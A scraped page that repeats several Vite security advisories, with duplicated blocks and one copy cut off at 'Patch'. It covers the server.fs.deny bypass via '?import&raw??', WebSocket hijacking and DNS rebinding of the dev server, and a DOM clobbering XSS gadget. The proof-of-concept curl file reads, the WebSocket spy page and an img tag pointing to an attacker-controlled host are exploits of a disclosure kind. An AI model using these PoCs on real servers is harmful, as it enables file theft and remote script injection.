$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite bypasses server.fs.deny when using ?raw??
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
@fsdenies access to files outside of Vite serving allow list. Adding?raw??or?import&raw??to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as?are removed in several places, but are not accounted for in query string regexes.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite bypasses server.fs.deny when using ?raw??
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
@fsdenies access to files outside of Vite serving allow list. Adding?raw??or?import&raw??to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as?are removed in several places, but are not accounted for in query string regexes.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite bypasses server.fs.deny when using ?raw??
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
@fsdenies access to files outside of Vite serving allow list. Adding?raw??or?import&raw??to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as?are removed in several places, but are not accounted for in query string regexes.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite bypasses server.fs.deny when using ?raw??
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
@fsdenies access to files outside of Vite serving allow list. Adding?raw??or?import&raw??to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as?are removed in several places, but are not accounted for in query string regexes.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Websites were able to send any requests to the development server and read the response in vite
Summary
Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.
Warning
This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.
Upgrade Path
Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.
- Using the backend integration feature
- Using a reverse proxy in front of Vite
- Accessing the development server via a domain other than
localhostor*.localhost- Using a plugin / framework that connects to the WebSocket server on their own from the browser
Using the backend integration feature
If you are using the backend integration feature and not setting
server.origin, you need to add the origin of the backend server to theserver.cors.originoption. Make sure to set a specific origin rather than*, otherwise any origin can access your development server.Using a reverse proxy in front of Vite
If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than
localhostor*.localhost, you need to add the hostname to the newserver.allowedHostsoption. For example, if the reverse proxy is sending requests tohttp://vite:5173, you need to addviteto theserver.allowedHostsoption.Accessing the development server via a domain other than
localhostor*.localhostYou need to add the hostname to the new
server.allowedHostsoption. For example, if you are accessing the development server viahttp://foo.example.com:8080, you need to addfoo.example.comto theserver.allowedHostsoption.Using a plugin / framework that connects to the WebSocket server on their own from the browser
If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.
In that case, you can either:
- fix the plugin / framework code to the make it compatible with the new version of Vite
- set
legacy.skipWebSocketTokenCheck: trueto opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
- When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.
Mitigation without upgrading Vite
[1]: Permissive default CORS settings
Set
server.corstofalseor limitserver.cors.originto trusted origins.[2]: Lack of validation on the Origin header for WebSocket connections
There aren't any mitigations for this.
[3]: Lack of validation on the Host header for HTTP requests
Use Chrome 94+ or use HTTPS for the development server.
Details
There are three causes that allowed malicious websites to send any requests to the development server:
[1]: Permissive default CORS settings
Vite sets the
Access-Control-Allow-Originheader depending onserver.corsoption. The default value wastruewhich setsAccess-Control-Allow-Origin: *. This allows websites on any origin tofetchcontents served on the development server.Attack scenario:
- The attacker serves a malicious web page (
http://malicious.example.com).- The user accesses the malicious web page.
- The attacker sends a
fetch('http://127.0.0.1:5173/main.js')request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.- The attacker gets the content of
http://127.0.0.1:5173/main.js.[2]: Lack of validation on the Origin header for WebSocket connections
Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.
Attack scenario:
- The attacker serves a malicious web page (
http://malicious.example.com).- The user accesses the malicious web page.
- The attacker runs
new WebSocket('http://127.0.0.1:5173', 'vite-hmr')by JS in that malicious web page.- The user edits some files.
- Vite sends some HMR messages over WebSocket.
- The attacker gets the content of the HMR messages.
[3]: Lack of validation on the Host header for HTTP requests
Unless
server.httpsis set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.
- The attacker serves a malicious web page that is served on HTTP (
http://malicious.example.com:5173) (HTTPS won't work).- The user accesses the malicious web page.
- The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
- The attacker sends a
fetch('/main.js')request by JS in that malicious web page.- The attacker gets the content of
http://127.0.0.1:5173/main.jsbypassing the same origin policy.Impact
[1]: Permissive default CORS settings
Users with the default
server.corsoption may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
server.proxymay have those functionalities.[2]: Lack of validation on the Origin header for WebSocket connections
All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.
For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.
For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.
[3]: Lack of validation on the Host header for HTTP requests
Users using HTTP for the development server and using a browser that is not Chrome 94+ may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
server.proxymay have those functionalities.Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.
Related Information
Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.
PoC
[2]: Lack of validation on the Origin header for WebSocket connections
- I used the
reacttemplate which utilizes HMR functionality.npm create vite@latest my-vue-app-react -- --template react
- Then on a malicious server, serve the following POC html:
<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>vite CSWSH</title> </head> <body> <div id="logs"></div> <script> const div = document.querySelectorAll('#logs')[0]; const ws = new WebSocket('ws://localhost:5173','vite-hmr'); ws.onmessage = event => { const logLine = document.createElement('p'); logLine.innerHTML = event.data; div.append(logLine); }; </script> </body> </html>
- Kick off Vite
npm run dev
- Load the development server (open
http://localhost:5173/) as well as the malicious page in the browser.- Edit
src/App.jsxfile and intentionally place a syntax error- Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed
Here's a video demonstrating the POC:
vite-cswsh.mov
๐จ Websites were able to send any requests to the development server and read the response in vite
Summary
Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.
Warning
This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.
Upgrade Path
Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.
- Using the backend integration feature
- Using a reverse proxy in front of Vite
- Accessing the development server via a domain other than
localhostor*.localhost- Using a plugin / framework that connects to the WebSocket server on their own from the browser
Using the backend integration feature
If you are using the backend integration feature and not setting
server.origin, you need to add the origin of the backend server to theserver.cors.originoption. Make sure to set a specific origin rather than*, otherwise any origin can access your development server.Using a reverse proxy in front of Vite
If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than
localhostor*.localhost, you need to add the hostname to the newserver.allowedHostsoption. For example, if the reverse proxy is sending requests tohttp://vite:5173, you need to addviteto theserver.allowedHostsoption.Accessing the development server via a domain other than
localhostor*.localhostYou need to add the hostname to the new
server.allowedHostsoption. For example, if you are accessing the development server viahttp://foo.example.com:8080, you need to addfoo.example.comto theserver.allowedHostsoption.Using a plugin / framework that connects to the WebSocket server on their own from the browser
If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.
In that case, you can either:
- fix the plugin / framework code to the make it compatible with the new version of Vite
- set
legacy.skipWebSocketTokenCheck: trueto opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
- When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.
Mitigation without upgrading Vite
[1]: Permissive default CORS settings
Set
server.corstofalseor limitserver.cors.originto trusted origins.[2]: Lack of validation on the Origin header for WebSocket connections
There aren't any mitigations for this.
[3]: Lack of validation on the Host header for HTTP requests
Use Chrome 94+ or use HTTPS for the development server.
Details
There are three causes that allowed malicious websites to send any requests to the development server:
[1]: Permissive default CORS settings
Vite sets the
Access-Control-Allow-Originheader depending onserver.corsoption. The default value wastruewhich setsAccess-Control-Allow-Origin: *. This allows websites on any origin tofetchcontents served on the development server.Attack scenario:
- The attacker serves a malicious web page (
http://malicious.example.com).- The user accesses the malicious web page.
- The attacker sends a
fetch('http://127.0.0.1:5173/main.js')request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.- The attacker gets the content of
http://127.0.0.1:5173/main.js.[2]: Lack of validation on the Origin header for WebSocket connections
Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.
Attack scenario:
- The attacker serves a malicious web page (
http://malicious.example.com).- The user accesses the malicious web page.
- The attacker runs
new WebSocket('http://127.0.0.1:5173', 'vite-hmr')by JS in that malicious web page.- The user edits some files.
- Vite sends some HMR messages over WebSocket.
- The attacker gets the content of the HMR messages.
[3]: Lack of validation on the Host header for HTTP requests
Unless
server.httpsis set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.
- The attacker serves a malicious web page that is served on HTTP (
http://malicious.example.com:5173) (HTTPS won't work).- The user accesses the malicious web page.
- The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
- The attacker sends a
fetch('/main.js')request by JS in that malicious web page.- The attacker gets the content of
http://127.0.0.1:5173/main.jsbypassing the same origin policy.Impact
[1]: Permissive default CORS settings
Users with the default
server.corsoption may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
server.proxymay have those functionalities.[2]: Lack of validation on the Origin header for WebSocket connections
All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.
For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.
For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.
[3]: Lack of validation on the Host header for HTTP requests
Users using HTTP for the development server and using a browser that is not Chrome 94+ may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
server.proxymay have those functionalities.Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.
Related Information
Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.
PoC
[2]: Lack of validation on the Origin header for WebSocket connections
- I used the
reacttemplate which utilizes HMR functionality.npm create vite@latest my-vue-app-react -- --template react
- Then on a malicious server, serve the following POC html:
<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>vite CSWSH</title> </head> <body> <div id="logs"></div> <script> const div = document.querySelectorAll('#logs')[0]; const ws = new WebSocket('ws://localhost:5173','vite-hmr'); ws.onmessage = event => { const logLine = document.createElement('p'); logLine.innerHTML = event.data; div.append(logLine); }; </script> </body> </html>
- Kick off Vite
npm run dev
- Load the development server (open
http://localhost:5173/) as well as the malicious page in the browser.- Edit
src/App.jsxfile and intentionally place a syntax error- Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed
Here's a video demonstrating the POC:
vite-cswsh.mov
๐จ Websites were able to send any requests to the development server and read the response in vite
Summary
Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.
Warning
This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.
Upgrade Path
Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.
- Using the backend integration feature
- Using a reverse proxy in front of Vite
- Accessing the development server via a domain other than
localhostor*.localhost- Using a plugin / framework that connects to the WebSocket server on their own from the browser
Using the backend integration feature
If you are using the backend integration feature and not setting
server.origin, you need to add the origin of the backend server to theserver.cors.originoption. Make sure to set a specific origin rather than*, otherwise any origin can access your development server.Using a reverse proxy in front of Vite
If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than
localhostor*.localhost, you need to add the hostname to the newserver.allowedHostsoption. For example, if the reverse proxy is sending requests tohttp://vite:5173, you need to addviteto theserver.allowedHostsoption.Accessing the development server via a domain other than
localhostor*.localhostYou need to add the hostname to the new
server.allowedHostsoption. For example, if you are accessing the development server viahttp://foo.example.com:8080, you need to addfoo.example.comto theserver.allowedHostsoption.Using a plugin / framework that connects to the WebSocket server on their own from the browser
If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.
In that case, you can either:
- fix the plugin / framework code to the make it compatible with the new version of Vite
- set
legacy.skipWebSocketTokenCheck: trueto opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
- When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.
Mitigation without upgrading Vite
[1]: Permissive default CORS settings
Set
server.corstofalseor limitserver.cors.originto trusted origins.[2]: Lack of validation on the Origin header for WebSocket connections
There aren't any mitigations for this.
[3]: Lack of validation on the Host header for HTTP requests
Use Chrome 94+ or use HTTPS for the development server.
Details
There are three causes that allowed malicious websites to send any requests to the development server:
[1]: Permissive default CORS settings
Vite sets the
Access-Control-Allow-Originheader depending onserver.corsoption. The default value wastruewhich setsAccess-Control-Allow-Origin: *. This allows websites on any origin tofetchcontents served on the development server.Attack scenario:
- The attacker serves a malicious web page (
http://malicious.example.com).- The user accesses the malicious web page.
- The attacker sends a
fetch('http://127.0.0.1:5173/main.js')request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.- The attacker gets the content of
http://127.0.0.1:5173/main.js.[2]: Lack of validation on the Origin header for WebSocket connections
Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.
Attack scenario:
- The attacker serves a malicious web page (
http://malicious.example.com).- The user accesses the malicious web page.
- The attacker runs
new WebSocket('http://127.0.0.1:5173', 'vite-hmr')by JS in that malicious web page.- The user edits some files.
- Vite sends some HMR messages over WebSocket.
- The attacker gets the content of the HMR messages.
[3]: Lack of validation on the Host header for HTTP requests
Unless
server.httpsis set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.
- The attacker serves a malicious web page that is served on HTTP (
http://malicious.example.com:5173) (HTTPS won't work).- The user accesses the malicious web page.
- The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
- The attacker sends a
fetch('/main.js')request by JS in that malicious web page.- The attacker gets the content of
http://127.0.0.1:5173/main.jsbypassing the same origin policy.Impact
[1]: Permissive default CORS settings
Users with the default
server.corsoption may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
server.proxymay have those functionalities.[2]: Lack of validation on the Origin header for WebSocket connections
All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.
For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.
For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.
[3]: Lack of validation on the Host header for HTTP requests
Users using HTTP for the development server and using a browser that is not Chrome 94+ may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
server.proxymay have those functionalities.Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.
Related Information
Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.
PoC
[2]: Lack of validation on the Origin header for WebSocket connections
- I used the
reacttemplate which utilizes HMR functionality.npm create vite@latest my-vue-app-react -- --template react
- Then on a malicious server, serve the following POC html:
<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>vite CSWSH</title> </head> <body> <div id="logs"></div> <script> const div = document.querySelectorAll('#logs')[0]; const ws = new WebSocket('ws://localhost:5173','vite-hmr'); ws.onmessage = event => { const logLine = document.createElement('p'); logLine.innerHTML = event.data; div.append(logLine); }; </script> </body> </html>
- Kick off Vite
npm run dev
- Load the development server (open
http://localhost:5173/) as well as the malicious page in the browser.- Edit
src/App.jsxfile and intentionally place a syntax error- Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed
Here's a video demonstrating the POC:
vite-cswsh.mov
๐จ Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
๐จ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
